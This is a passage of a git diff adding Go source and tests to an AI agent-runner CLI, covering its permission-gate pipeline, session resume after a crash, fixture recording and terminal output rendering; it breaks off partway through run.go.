a/internal/cli/notify_test.go b/internal/cli/notify_test.go new file mode 100644 index 0000000..e883187 --- /dev/null +++ b/internal/cli/notify_test.go @@ -0,0 +1,116 @@ +package cli + +import ( + "bytes" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/notify" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/store" +) + +// Startup reconciliation notifies every session parked on an approval — +// once: the journaled sent set silences the second daemon start. +func TestReconcileNotificationsParkedApproval(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + + // Synthesize a session parked in WAITING_APPROVAL. + dir, err := runtime.SessionDir("sess-parked") + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + journal := func(typ string, p any) { + t.Helper() + env, err := event.New(typ, p) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + } + journal(event.TypeRunStarted, &event.RunStarted{SpecName: "x", Model: "m", Task: "t"}) + detail, _ := json.Marshal(event.ApprovalRequested{ApprovalID: "apr-42", EffectID: "eff-x"}) + journal(event.TypeWaitingEntered, &event.WaitingEntered{Kind: event.WaitApproval, Detail: detail}) + if err := es.Close(); err != nil { + t.Fatal(err) + } + + data, _ := runtime.DataDir() + var errOut bytes.Buffer + n, err := notify.Open(filepath.Join(data, "notifier"), nil, &errOut) + if err != nil { + t.Fatal(err) + } + reconcileNotifications(n) + if !strings.Contains(errOut.String(), "apr-42") || !strings.Contains(errOut.String(), "sess-parked") { + t.Fatalf("reconcile missed the parked approval: %q", errOut.String()) + } + if err := n.Close(); err != nil { + t.Fatal(err) + } + + // Second start: already notified, stays silent. + var errOut2 bytes.Buffer + n2, err := notify.Open(filepath.Join(data, "notifier"), nil, &errOut2) + if err != nil { + t.Fatal(err) + } + defer func() { _ = n2.Close() }() + reconcileNotifications(n2) + if strings.Contains(errOut2.String(), "apr-42") { + t.Fatalf("reconcile double-notified: %q", errOut2.String()) + } +} + +// An ended session is not reconciled (documented cut: adopting the notifier +// must not replay history), and unreadable session dirs are skipped. +func TestReconcileSkipsEndedAndGarbage(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir, err := runtime.SessionDir("sess-done") + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(dir) + if err != nil { + t.Fatal(err) + } + for _, ev := range []struct { + typ string + p any + }{ + {event.TypeRunStarted, &event.RunStarted{SpecName: "x", Model: "m", Task: "t"}}, + {event.TypeRunEnded, &event.RunEnded{Reason: "completed"}}, + } { + env, _ := event.New(ev.typ, ev.p) + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + } + _ = es.Close() + // Garbage dir alongside. + data, _ := runtime.DataDir() + if err := os.MkdirAll(filepath.Join(data, "sessions", "not-a-session"), 0o700); err != nil { + t.Fatal(err) + } + + var errOut bytes.Buffer + n, err := notify.Open(filepath.Join(data, "notifier"), nil, &errOut) + if err != nil { + t.Fatal(err) + } + defer func() { _ = n.Close() }() + reconcileNotifications(n) + if strings.Contains(errOut.String(), "sess-done") { + t.Fatalf("ended session reconciled: %q", errOut.String()) + } +} diff --git a/internal/cli/pipeline.go b/internal/cli/pipeline.go new file mode 100644 index 0000000..540a556 --- /dev/null +++ b/internal/cli/pipeline.go @@ -0,0 +1,119 @@ +package cli + +import ( + "fmt" + "io" + + "github.com/ralphite/agentrunner/internal/config" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// buildPipeline assembles the effect pipeline — pre-hooks → permission → +// budget — from the merged three-source configuration (3.4), the run mode +// (3.6), and the budget (3.7). It also returns the hook runner for the +// loop's post-tool hooks. +func buildPipeline(ws *workspace.Workspace, specRules []pipeline.PermissionRule, + mode string, maxTokens int, stderr io.Writer) (*pipeline.Pipeline, *hook.Runner, error) { + + userPath, err := runtime.UserConfigPath() + if err != nil { + return nil, nil, err + } + user, err := config.LoadFile(userPath) + if err != nil { + return nil, nil, err + } + project, err := config.LoadFile(runtime.ProjectConfigPath(ws.Root())) + if err != nil { + return nil, nil, err + } + dataDir, err := runtime.DataDir() + if err != nil { + return nil, nil, err + } + trusted, err := config.IsTrusted(dataDir, ws.Root()) + if err != nil { + return nil, nil, err + } + merged := config.Merge(user, project, specRules, trusted) + if len(project.Permissions)+len(project.Hooks.PreTool)+len(project.Hooks.PostTool) > 0 && !trusted { + fmt.Fprintf(stderr, "note: project settings present but workspace is untrusted — hooks ignored, allows tightened (agentrunner trust %s)\n", ws.Root()) + } + + runner := &hook.Runner{ + PreTool: merged.Hooks.PreTool, + PostTool: merged.Hooks.PostTool, + Dir: ws.Root(), + } + return assemblePipeline(ws, [][]pipeline.PermissionRule{merged.Permissions}, + runner, mode, maxTokens, stderr), runner, nil +} + +// buildPipelineFromLayers rebuilds a resumed session's pipeline from the +// permission layers journaled in its RunStarted (S6, S5 回访: 权限交集物化 +// 为数据). The layers — one gate each, chained — are the run's FROZEN +// effective rules: a child session resumed standalone keeps its parent's +// bounds, and live config drift does not silently rewrite a run's +// permissions mid-flight. Hooks still come from live config (they are code, +// not materializable data). +func buildPipelineFromLayers(ws *workspace.Workspace, layers [][]pipeline.PermissionRule, + mode string, maxTokens int, stderr io.Writer) (*pipeline.Pipeline, *hook.Runner, error) { + + userPath, err := runtime.UserConfigPath() + if err != nil { + return nil, nil, err + } + user, err := config.LoadFile(userPath) + if err != nil { + return nil, nil, err + } + project, err := config.LoadFile(runtime.ProjectConfigPath(ws.Root())) + if err != nil { + return nil, nil, err + } + dataDir, err := runtime.DataDir() + if err != nil { + return nil, nil, err + } + trusted, err := config.IsTrusted(dataDir, ws.Root()) + if err != nil { + return nil, nil, err + } + merged := config.Merge(user, project, nil, trusted) + runner := &hook.Runner{ + PreTool: merged.Hooks.PreTool, + PostTool: merged.Hooks.PostTool, + Dir: ws.Root(), + } + return assemblePipeline(ws, layers, runner, mode, maxTokens, stderr), runner, nil +} + +// assemblePipeline lays the fixed gate order — floor → spawn → hooks → +// permission layer(s) → budget — around the given permission layers. Zero +// layers still get ONE empty gate: mode defaults must apply. +func assemblePipeline(ws *workspace.Workspace, layers [][]pipeline.PermissionRule, + runner *hook.Runner, mode string, maxTokens int, stderr io.Writer) *pipeline.Pipeline { + + gates := []pipeline.Gate{ + // FloorGate runs FIRST so hard denials (workspace escape, plan-mode + // edit/execute) short-circuit BEFORE any side-effecting pre-hook. + // SpawnGate (S5.3 tree caps) is equally pure and cheap, so it also + // runs before the hooks. + &pipeline.FloorGate{Mode: mode, WS: ws}, + &pipeline.SpawnGate{}, + &hook.Gate{Runner: runner, Notes: func(n string) { + fmt.Fprintf(stderr, "hook: %s\n", n) + }}, + } + if len(layers) == 0 { + layers = [][]pipeline.PermissionRule{nil} + } + for _, rules := range layers { + gates = append(gates, &pipeline.PermissionGate{Rules: rules, Mode: mode, WS: ws}) + } + gates = append(gates, &pipeline.BudgetGate{MaxTotalTokens: maxTokens}) + return &pipeline.Pipeline{Gates: gates} +} diff --git a/internal/cli/pipeline_test.go b/internal/cli/pipeline_test.go new file mode 100644 index 0000000..4022858 --- /dev/null +++ b/internal/cli/pipeline_test.go @@ -0,0 +1,61 @@ +package cli + +import ( + "bytes" + "context" + "encoding/json" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// buildPipelineFromLayers rebuilds one chained gate per journaled layer: the +// intersection semantics (every layer must allow) survive a standalone +// resume — a deny in EITHER layer still denies, and a flat merge would not +// preserve that under first-match. +func TestBuildPipelineFromLayers(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + t.Setenv("XDG_CONFIG_HOME", t.TempDir()) + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + layers := [][]pipeline.PermissionRule{ + {{Tool: "edit_file", Action: "deny"}, {Action: "allow"}}, // parent + {{Tool: "bash", Action: "deny"}, {Action: "allow"}}, // child + } + var errOut bytes.Buffer + pipe, _, err := buildPipelineFromLayers(ws, layers, "", 0, &errOut) + if err != nil { + t.Fatal(err) + } + + verdict := func(toolName, class string) string { + t.Helper() + args, _ := json.Marshal(map[string]string{}) + out, err := pipe.Evaluate(context.Background(), pipeline.Effect{ + ID: "eff-x", Kind: "tool_call", ToolName: toolName, Class: class, + CallID: "x", Args: args, + }) + if err != nil { + t.Fatal(err) + } + return out.Verdict + } + + // The parent layer's deny binds even though the child layer allows it. + if got := verdict("edit_file", "edit"); got != event.VerdictDeny { + t.Errorf("edit_file = %s, want deny (parent layer)", got) + } + // The child layer's deny binds even though the parent layer allows it — + // a flat first-match merge would have returned the parent's allow. + if got := verdict("bash", "execute"); got != event.VerdictDeny { + t.Errorf("bash = %s, want deny (child layer)", got) + } + // Both layers allow reads. + if got := verdict("read_file", "read"); got != event.VerdictAllow { + t.Errorf("read_file = %s, want allow", got) + } +} diff --git a/internal/cli/record_test.go b/internal/cli/record_test.go new file mode 100644 index 0000000..fcc09a9 --- /dev/null +++ b/internal/cli/record_test.go @@ -0,0 +1,115 @@ +package cli + +import ( + "bytes" + "context" + "os" + "path/filepath" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" +) + +// record-fixture through the real CLI path: record a session, then replay +// the written fixture through a second run. +func TestRecordFixtureCLIRoundTrip(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + fixtureOut := filepath.Join(dir, "recorded.yaml") + + source := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "recorded reply"}, {Finish: "end_turn"}}}, + }} + + var out, errOut bytes.Buffer + code := runAgent(runOptions{ + specPath: writeSpec(t, dir), + task: "record me", + workspace: t.TempDir(), + fixtureOut: fixtureOut, + version: "test", + factory: scriptedFactory(source), + stdout: &out, stderr: &errOut, + }) + if code != ExitOK { + t.Fatalf("record run exit = %d, stderr: %s", code, errOut.String()) + } + if _, err := os.Stat(fixtureOut); err != nil { + t.Fatalf("fixture not written: %v", err) + } + + // Replay: second runAgent consuming the recorded fixture. + replayFactory := func(_ context.Context, _ string) (provider.Provider, error) { + return scripted.Load(fixtureOut) + } + out.Reset() + errOut.Reset() + code = runAgent(runOptions{ + specPath: writeSpec(t, dir), + task: "record me", + workspace: t.TempDir(), + version: "test", + factory: replayFactory, + stdout: &out, stderr: &errOut, + }) + if code != ExitOK { + t.Fatalf("replay exit = %d, stderr: %s", code, errOut.String()) + } +} + +func TestRecordFixtureWriteFailureExits1(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + var out, errOut bytes.Buffer + code := runAgent(runOptions{ + specPath: writeSpec(t, dir), + task: "x", + workspace: t.TempDir(), + fixtureOut: filepath.Join(dir, "no-such-dir", "f.yaml"), + version: "test", + factory: scriptedFactory(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }}), + stdout: &out, stderr: &errOut, + }) + if code != ExitRun { + t.Fatalf("exit = %d, want %d", code, ExitRun) + } +} + +func TestProviderFailureExitCodes(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + + // Unknown provider name → usage error (2). The spec names a provider + // the default factory does not know. + spec := filepath.Join(dir, "bad.yaml") + if err := os.WriteFile(spec, []byte("name: t\nmodel: {provider: nope, id: x}\nsystem_prompt: s\n"), 0o644); err != nil { + t.Fatal(err) + } + var out, errOut bytes.Buffer + code := runAgent(runOptions{ + specPath: spec, task: "x", workspace: t.TempDir(), version: "test", + factory: defaultProviderFactory, + stdout: &out, stderr: &errOut, + }) + if code != ExitUsage { + t.Fatalf("unknown provider exit = %d, want %d", code, ExitUsage) + } + + // Construction failure (gemini without credentials) → run error (1). + t.Setenv("GEMINI_API_KEY", "") + spec2 := filepath.Join(dir, "gem.yaml") + if err := os.WriteFile(spec2, []byte("name: t\nmodel: {provider: gemini, id: x}\nsystem_prompt: s\n"), 0o644); err != nil { + t.Fatal(err) + } + code = runAgent(runOptions{ + specPath: spec2, task: "x", workspace: t.TempDir(), version: "test", + factory: defaultProviderFactory, + stdout: &out, stderr: &errOut, + }) + if code != ExitRun { + t.Fatalf("construction failure exit = %d, want %d", code, ExitRun) + } +} diff --git a/internal/cli/render.go b/internal/cli/render.go new file mode 100644 index 0000000..386c384 --- /dev/null +++ b/internal/cli/render.go @@ -0,0 +1,79 @@ +package cli + +import ( + "fmt" + "io" + "strings" + + "github.com/ralphite/agentrunner/internal/protocol" +) + +// textRenderer turns the output protocol into human-readable terminal +// output. Text deltas stream inline; everything else is a labeled line. +type textRenderer struct { + out io.Writer + inDelta bool // currently mid text-delta line? + sawDelta bool // this turn's text already streamed as deltas? +} + +func newTextRenderer(out io.Writer) *textRenderer { return &textRenderer{out: out} } + +func (r *textRenderer) Emit(e protocol.Event) { + // A non-delta event closes any open delta line. + if e.Kind != protocol.KindTextDelta && r.inDelta { + fmt.Fprintln(r.out) + r.inDelta = false + } + switch e.Kind { + case protocol.KindTurnStart: + fmt.Fprintf(r.out, "\n[turn %d]\n", e.Turn) + r.sawDelta = false + case protocol.KindTextDelta: + fmt.Fprint(r.out, e.Text) + r.inDelta = true + r.sawDelta = true + case protocol.KindMessage: + // Deltas take precedence: any provider that streamed this turn's + // text already put it on screen — printing the assembled message + // again would double it (S6 还债②). The message prints only as the + // fallback for a turn that produced no deltas. + if r.sawDelta { + r.sawDelta = false + break + } + if !strings.HasSuffix(e.Text, "\n") { + fmt.Fprintln(r.out, e.Text) + } else { + fmt.Fprint(r.out, e.Text) + } + case protocol.KindToolCall: + fmt.Fprintf(r.out, " → %s %s\n", e.Tool, truncate(e.Args, 120)) + case protocol.KindToolResult: + status := "ok" + if e.IsError { + status = "error" + } + fmt.Fprintf(r.out, " ← %s %s\n", status, truncate(e.Result, 200)) + case protocol.KindApprovalRequest: + fmt.Fprintf(r.out, " ⏸ approval required: %s %s (%s — answer with: agentrunner approve %s %s approve|deny)\n", + e.Tool, truncate(e.Args, 80), e.Text, e.Session, e.ApprovalID) + case protocol.KindModeChanged: + fmt.Fprintf(r.out, " » mode → %s\n", e.Mode) + case protocol.KindNote: + fmt.Fprintf(r.out, " ✎ %s\n", e.Text) + case protocol.KindDiscard: + fmt.Fprintf(r.out, " ↺ %s\n", e.Text) + case protocol.KindError: + fmt.Fprintf(r.out, " ✗ %s\n", e.Text) + case protocol.KindRunEnd: + // Summary line is printed by runAgent from the RunResult. + } +} + +func truncate(s string, max int) string { + s = strings.ReplaceAll(s, "\n", " ") + if len(s) > max { + return s[:max] + "…" + } + return s +} diff --git a/internal/cli/resume.go b/internal/cli/resume.go new file mode 100644 index 0000000..850832d --- /dev/null +++ b/internal/cli/resume.go @@ -0,0 +1,206 @@ +package cli + +import ( + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "sort" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/hook" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// resumeCmd implements `agentrunner resume `: the +// spec and workspace root come from the session's RunStarted event, so no +// spec file argument is needed. +func resumeCmd(args []string, version string, stdout, stderr io.Writer) int { + if len(args) != 1 { + fmt.Fprintln(stderr, "usage: agentrunner resume ") + return ExitUsage + } + ctx, interrupts, stop := signalContext() + defer stop() + loadDotEnv(".env") + + dir, err := resolveSessionDir(args[0]) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitUsage + } + sessionID := filepath.Base(dir) + + started, err := readRunStarted(dir) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + if len(started.Spec) == 0 || started.WorkspaceRoot == "" { + fmt.Fprintf(stderr, "agentrunner: session %s predates resumable metadata (no spec in run_started)\n", sessionID) + return ExitRun + } + var spec agent.AgentSpec + if err := json.Unmarshal(started.Spec, &spec); err != nil { + fmt.Fprintf(stderr, "agentrunner: journaled spec: %v\n", err) + return ExitRun + } + + ws, err := workspace.New(started.WorkspaceRoot) + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + prov, err := defaultProviderFactory(ctx, spec.Model.Provider) + if err != nil { + fmt.Fprintln(stderr, err) + if errors.Is(err, errUnknownProvider) { + return ExitUsage + } + return ExitRun + } + events, err := store.OpenEventStore(dir) + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + defer func() { _ = events.Close() }() + + fmt.Fprintf(stderr, "resuming session %s\n", sessionID) + // The live mode comes from the fold; spec.Mode is only the gate's + // static fallback. Journaled permission layers (S6) are the run's frozen + // effective rules — a child session resumed standalone keeps its + // parent's bounds; sessions predating the field fall back to the + // config-merge path. + var pipe *pipeline.Pipeline + var hooks *hook.Runner + if len(started.PermissionLayers) > 0 { + var layers [][]pipeline.PermissionRule + if err := json.Unmarshal(started.PermissionLayers, &layers); err != nil { + fmt.Fprintf(stderr, "agentrunner: journaled permission layers: %v\n", err) + return ExitRun + } + pipe, hooks, err = buildPipelineFromLayers(ws, layers, spec.Mode, spec.Budget.MaxTotalTokens, stderr) + } else { + pipe, hooks, err = buildPipeline(ws, spec.Permissions, spec.Mode, spec.Budget.MaxTotalTokens, stderr) + } + if err != nil { + fmt.Fprintln(stderr, err) + return ExitRun + } + loop := &agent.Loop{ + Spec: &spec, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: sessionID}, + Store: events, + Clock: clock.Real{}, + Out: newTextRenderer(stdout), + SessionID: sessionID, + Version: version, + Interrupts: interrupts, + Pipeline: pipe, + Hooks: hooks, + Approvals: approvalResolver(stderr), + } + result, runErr := loop.Resume(ctx) + if runErr != nil { + // An already-finished session is not a resume failure: report its + // result, and exit 0 when it completed (nothing left to do). + if result.Reason != "" { + fmt.Fprintf(stderr, "%v\n", runErr) + fmt.Fprintf(stderr, "run %s: %d turns, %d in / %d out tokens\n", + result.Reason, result.Turns, result.Usage.InputTokens, result.Usage.OutputTokens) + if result.Reason == "completed" { + return ExitOK + } + return ExitRun + } + fmt.Fprintf(stderr, "resume failed: %v\n", runErr) + return ExitRun + } + fmt.Fprintf(stderr, "run %s: %d turns, %d in / %d out tokens\n", + result.Reason, result.Turns, result.Usage.InputTokens, result.Usage.OutputTokens) + if result.Reason != "completed" { + return ExitRun + } + return ExitOK +} + +func readRunStarted(dir string) (*event.RunStarted, error) { + events, err := store.ReadEvents(dir) + if err != nil { + return nil, err + } + if len(events) == 0 || events[0].Type != event.TypeRunStarted { + return nil, fmt.Errorf("session log does not begin with run_started") + } + decoded, err := event.DecodePayload(events[0]) + if err != nil { + return nil, err + } + return decoded.(*event.RunStarted), nil +} + +// sessionsCmd implements `agentrunner sessions list`: newest first, with +// the folded status. +func sessionsCmd(args []string, stdout, stderr io.Writer) int { + if len(args) != 1 || args[0] != "list" { + fmt.Fprintln(stderr, "usage: agentrunner sessions list") + return ExitUsage + } + data, err := runtime.DataDir() + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + root := filepath.Join(data, "sessions") + entries, err := os.ReadDir(root) + if err != nil { + fmt.Fprintln(stdout, "no sessions") + return ExitOK + } + type row struct { + id, status string + turns int + mtime int64 + } + var rows []row + for _, e := range entries { + if !e.IsDir() { + continue + } + r := row{id: e.Name(), status: "unreadable"} + if info, err := e.Info(); err == nil { + r.mtime = info.ModTime().UnixNano() + } + if events, err := store.ReadEvents(filepath.Join(root, e.Name())); err == nil { + if s, err := state.Fold(events); err == nil { + r.status = s.Run.Status + if s.Waiting != nil { + r.status = "waiting:" + s.Waiting.Kind + } + r.turns = s.Run.Turn + } + } + rows = append(rows, r) + } + if len(rows) == 0 { + fmt.Fprintln(stdout, "no sessions") + return ExitOK + } + sort.Slice(rows, func(i, j int) bool { return rows[i].mtime > rows[j].mtime }) + fmt.Fprintf(stdout, "%-45s %-18s %s\n", "SESSION", "STATUS", "TURNS") + for _, r := range rows { + fmt.Fprintf(stdout, "%-45s %-18s %d\n", r.id, r.status, r.turns) + } + return ExitOK +} diff --git a/internal/cli/resume_test.go b/internal/cli/resume_test.go new file mode 100644 index 0000000..765ac3c --- /dev/null +++ b/internal/cli/resume_test.go @@ -0,0 +1,151 @@ +package cli + +import ( + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" +) + +const resumeSpecYAML = `name: fixer +model: { provider: scripted, id: x } +system_prompt: fix things +tools: [read_file, edit_file] +permissions: + - { action: allow } +` + +const crashFixtureYAML = `steps: + - respond: + - tool_call: { name: read_file, args: { path: greet.txt } } + - tool_call: { name: edit_file, args: { path: greet.txt, old: hello world, new: HELLO WORLD } } + - finish: tool_use + - respond: + - text: unreachable before crash + - finish: end_turn +` + +const resumeFixtureYAML = `steps: + - respond: + - text: all done + - finish: end_turn +` + +// End-to-end CLI crash + resume: `run` dies at the turn-2 boundary in a +// subprocess; `resume ` reconstructs the loop from run_started +// (spec + workspace root journaled) and finishes the run. +func TestCLIResumeAfterCrash(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + os.Exit(Run([]string{"run", "--workspace", os.Getenv("CRASH_WS"), + os.Getenv("CRASH_SPEC"), "make it loud"}, "dev", os.Stdout, os.Stderr)) + } + + base := t.TempDir() + xdg := filepath.Join(base, "xdg") + ws := filepath.Join(base, "ws") + if err := os.Mkdir(ws, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(ws, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + specPath := filepath.Join(base, "spec.yaml") + if err := os.WriteFile(specPath, []byte(resumeSpecYAML), 0o644); err != nil { + t.Fatal(err) + } + crashFix := filepath.Join(base, "crash.yaml") + if err := os.WriteFile(crashFix, []byte(crashFixtureYAML), 0o644); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestCLIResumeAfterCrash") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "XDG_DATA_HOME="+xdg, + "CRASH_WS="+ws, + "CRASH_SPEC="+specPath, + "AGENTRUNNER_SCRIPTED_FIXTURE="+crashFix, + crash.EnvVar+"=after:turn_started:2", + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("run subprocess: err = %v, out = %s", err, out) + } + + // Resume in-process through the CLI with the remaining fixture. + t.Setenv("XDG_DATA_HOME", xdg) + resumeFix := filepath.Join(base, "resume.yaml") + if err := os.WriteFile(resumeFix, []byte(resumeFixtureYAML), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv("AGENTRUNNER_SCRIPTED_FIXTURE", resumeFix) + t.Setenv(crash.EnvVar, "") + + var stdout, stderr bytes.Buffer + // The session id begins with the date; a bare prefix that matches the + // single session is enough. + sessions, err := os.ReadDir(filepath.Join(xdg, "agentrunner", "sessions")) + if err != nil || len(sessions) != 1 { + t.Fatalf("sessions = %v (err %v)", sessions, err) + } + code := Run([]string{"resume", sessions[0].Name()[:8]}, "dev", &stdout, &stderr) + if code != ExitOK { + t.Fatalf("resume exit = %d\nstderr: %s", code, stderr.String()) + } + if !strings.Contains(stderr.String(), "run completed: 2 turns") { + t.Errorf("stderr = %s", stderr.String()) + } + got, _ := os.ReadFile(filepath.Join(ws, "greet.txt")) + if string(got) != "HELLO WORLD" { + t.Errorf("file = %q", got) + } + + // sessions list shows it ended. + stdout.Reset() + if code := Run([]string{"sessions", "list"}, "dev", &stdout, &stderr); code != ExitOK { + t.Fatalf("sessions list exit = %d", code) + } + if !strings.Contains(stdout.String(), "ended") { + t.Errorf("sessions list:\n%s", stdout.String()) + } +} + +func TestCLIResumeUnknownSession(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + var out, errOut bytes.Buffer + if code := Run([]string{"resume", "nope"}, "dev", &out, &errOut); code != ExitUsage { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } +} + +func TestCLISessionsListEmpty(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + var out, errOut bytes.Buffer + if code := Run([]string{"sessions", "list"}, "dev", &out, &errOut); code != ExitOK { + t.Fatalf("exit = %d", code) + } + if !strings.Contains(out.String(), "no sessions") { + t.Errorf("out = %q", out.String()) + } +} + +func TestCLITrust(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + ws := t.TempDir() + var out, errOut bytes.Buffer + if code := Run([]string{"trust", ws}, "dev", &out, &errOut); code != ExitOK { + t.Fatalf("exit = %d, stderr = %s", code, errOut.String()) + } + if !strings.Contains(out.String(), "trusted") { + t.Errorf("out = %q", out.String()) + } + if code := Run([]string{"trust"}, "dev", &out, &errOut); code != ExitUsage { + t.Fatalf("no-arg exit = %d", code) + } +} diff --git a/internal/cli/run.go b/internal/cli/run.go new file mode 100644 index 0000000..5e9b8c2 --- /dev/null +++ b/internal/cli/run.go @@ -0,0 +1,295 @@ +package cli + +import ( + "bufio" + "context" + "errors" + "flag" + "fmt" + "io" + "os" + "os/signal" + "path/filepath" + "strings" + "syscall" + "time" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/protocol" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/anthropic" + "github.com/ralphite/agentrunner/internal/provider/gemini" + "github.com/ralphite/agentrunner/internal/provider/record" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/runtime" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// providerFactory builds the provider named by the spec; tests override it. +type providerFactory func(ctx context.Context, name string) (provider.Provider, error) + +// errUnknownProvider marks a spec/usage error (exit 2) as opposed to a +// provider construction failure (exit 1, e.g. missing credentials). +var errUnknownProvider = errors.New("unknown provider") + +func defaultProviderFactory(ctx context.Context, name string) (provider.Provider, error) { + switch name { + case "gemini": + return gemini.New(ctx) + case "anthropic": + return anthropic.New(ctx) + case "scripted": + // Test seam for acceptance scenarios and offline demos. + path := os.Getenv("AGENTRUNNER_SCRIPTED_FIXTURE") + if path == "" { + return nil, fmt.Errorf("provider scripted: AGENTRUNNER_SCRIPTED_FIXTURE not set") + } + return scripted.Load(path) + default: + return nil, fmt.Errorf("%w %q (available: gemini, anthropic, scripted)", errUnknownProvider, name) + } +} + +// siblingSpecResolver resolves a sub-agent name to .yaml next to the +// parent spec (S5.3). The spec.Agents whitelist gates WHO may be spawned; +// this only answers WHERE the spec lives. +func siblingSpecResolver(parentSpecPath string) agent.SubSpecResolver { + dir := filepath.Dir(parentSpecPath) + return func(name string) (*agent.AgentSpec, error) { + return agent.LoadSpec(filepath.Join(dir, name+".yaml")) + } +} + +// runOptions carries everything runAgent needs; factored for testability. +type runOptions struct { + specPath string + task string + workspace string + maxTurns int + mode string + fixtureOut string // record-fixture mode when non-empty + version string + factory providerFactory + stdout io.Writer + stderr io.Writer + sink protocol.Sink // output protocol renderer (nil → text on stdout) +} + +// runCmd parses `run` / `record-fixture` args and executes the agent. +func runCmd(args []string, recordMode bool, version string, stdout, stderr io.Writer) int { + name := "run" + if recordMode { + name = "record-fixture" + } + fs := flag.NewFlagSet(name, flag.ContinueOnError) + fs.SetOutput(stderr) + workspaceDir := fs.String("workspace", ".", "workspace root (default: current directory)") + maxTurns := fs.Int("max-turns", 0, "override spec max_turns") + mode := fs.String("mode", "", "run mode: default|plan|acceptEdits|bypass (overrides spec)") + jsonOut := fs.Bool("json", false, "emit the output event stream as JSON lines") + fixtureOut := fs.String("o", "", "fixture output path (record-fixture only)") + if err := fs.Parse(args); err != nil { + return ExitUsage + } + rest := fs.Args() + if len(rest) != 2 { + fmt.Fprintf(stderr, "usage: agentrunner %s [flags] \"task\"\n", name) + return ExitUsage + } + if recordMode && *fixtureOut == "" { + fmt.Fprintf(stderr, "record-fixture: -o is required\n") + return ExitUsage + } + if !recordMode { + *fixtureOut = "" + } + + var sink protocol.Sink + if *jsonOut { + sink = protocol.NewJSONSink(stdout) + } else { + sink = newTextRenderer(stdout) + } + return runAgent(runOptions{ + specPath: rest[0], + task: rest[1], + workspace: *workspaceDir, + maxTurns: *maxTurns, + mode: *mode, + fixtureOut: *fixtureOut, + version: version, + factory: defaultProviderFactory, + stdout: stdout, + sink: sink, + stderr: stderr, + }) +} + +func runAgent(opts runOptions) int { + if opts.sink == nil { + opts.sink = newTextRenderer(opts.stdout) + } + ctx, interrupts, stop := signalContext() + defer stop() + loadDotEnv(".env") + + spec, err := agent.LoadSpec(opts.specPath) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitUsage + } + if opts.maxTurns > 0 { + spec.MaxTurns = opts.maxTurns + } + + ws, err := workspace.New(opts.workspace) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitUsage + } + + prov, err := opts.factory(ctx, spec.Model.Provider) + if err != nil { + fmt.Fprintln(opts.stderr, err) + 